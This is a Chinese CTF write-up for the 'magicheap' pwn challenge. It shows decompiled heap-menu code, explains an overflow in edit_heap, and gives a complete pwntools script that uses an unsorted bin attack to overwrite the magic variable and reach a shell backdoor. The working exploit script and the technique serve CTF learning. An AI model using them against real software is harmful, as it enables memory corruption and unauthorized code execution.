pwn-hitcontraining_magicheap(unsorted bin attack)
查看保护:
main:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-10h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { while ( 1 ) { menu(); read(0, &buf, 8uLL); v3 = atoi(&buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } else { LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
create:
gned __int64 create_heap() { signed int i; // [rsp+4h] [rbp-1Ch] size_t size; // [rsp+8h] [rbp-18h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, &buf, 8uLL); size = atoi(&buf); heaparray[i] = malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:", &buf); read_input(heaparray[i], size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
edit:
int edit_heap() { __int64 v1; // [rsp+0h] [rbp-10h] __int64 v2; // [rsp+8h] [rbp-8h] printf("Index :"); read(0, (char *)&v1 + 4, 4uLL); LODWORD(v1) = atoi((const char *)&v1 + 4); if ( (signed int)v1 < 0 || (signed int)v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( !heaparray[(signed int)v1] ) return puts("No such heap !"); printf("Size of Heap : ", (char *)&v1 + 4, v1); read(0, (char *)&v1 + 4, 8uLL); v2 = atoi((const char *)&v1 + 4); printf("Content of heap : ", (char *)&v1 + 4, v1); read_input(heaparray[(signed int)v1], v2); return puts("Done !"); }
delete:
int delete_heap() { int v1; // [rsp+8h] [rbp-8h] char buf; // [rsp+Ch] [rbp-4h] printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( !heaparray[v1] ) return puts("No such heap !"); free((void *)heaparray[v1]); heaparray[v1] = 0LL; return puts("Done !"); }
l33t是后门函数,想要触发需要使位于bss(unsigned __int64)magic <= 0x1305。
这里使用unsorted bin attack把magic修改为较大的值,但值是用户无法控制的
unsorted bin attack详见:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/
exp:
#!/usr/bin/python from pwn import * context.log_level = 'debug' #a=remote("node3.buuoj.cn",29492) a=process("/root/magicheap") #libc=ELF("libc.so.6") magic=0x6020a0 def add(size,content): a.sendlineafter('Your choice :','1') a.sendlineafter('Size of Heap : ',str(size)) a.sendlineafter('Content of heap:',content) def edit(idx,size,content): a.sendlineafter('Your choice :','2') a.sendlineafter('Index :',str(idx)) a.sendlineafter('Size of Heap : ',str(size)) a.sendlineafter('Content of heap : ',content) def dele(idx): a.sendlineafter('Your choice :','3') a.sendlineafter('Index :',str(idx)) add(0x20,'a') #idx 0; add(0x80,'b') #idx 1;大于MINSIZE,free后被放入unsortedbin add(0x20,'c') #idx 2;防止与top chunk合并 dele(1) edit(0,0x40,'a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)) #修改bk=magic-0x10 add(0x80,'d') a.sendline("4869") #gdb.attach(a) a.interactive()
利用溢出修改idx 1,因为fd没有起到作用所以可以设置为任意值。根据unsortedbin的FIFO特性,
edit后重新申请就会申请到magic-0x10。之后输入4869就能getshell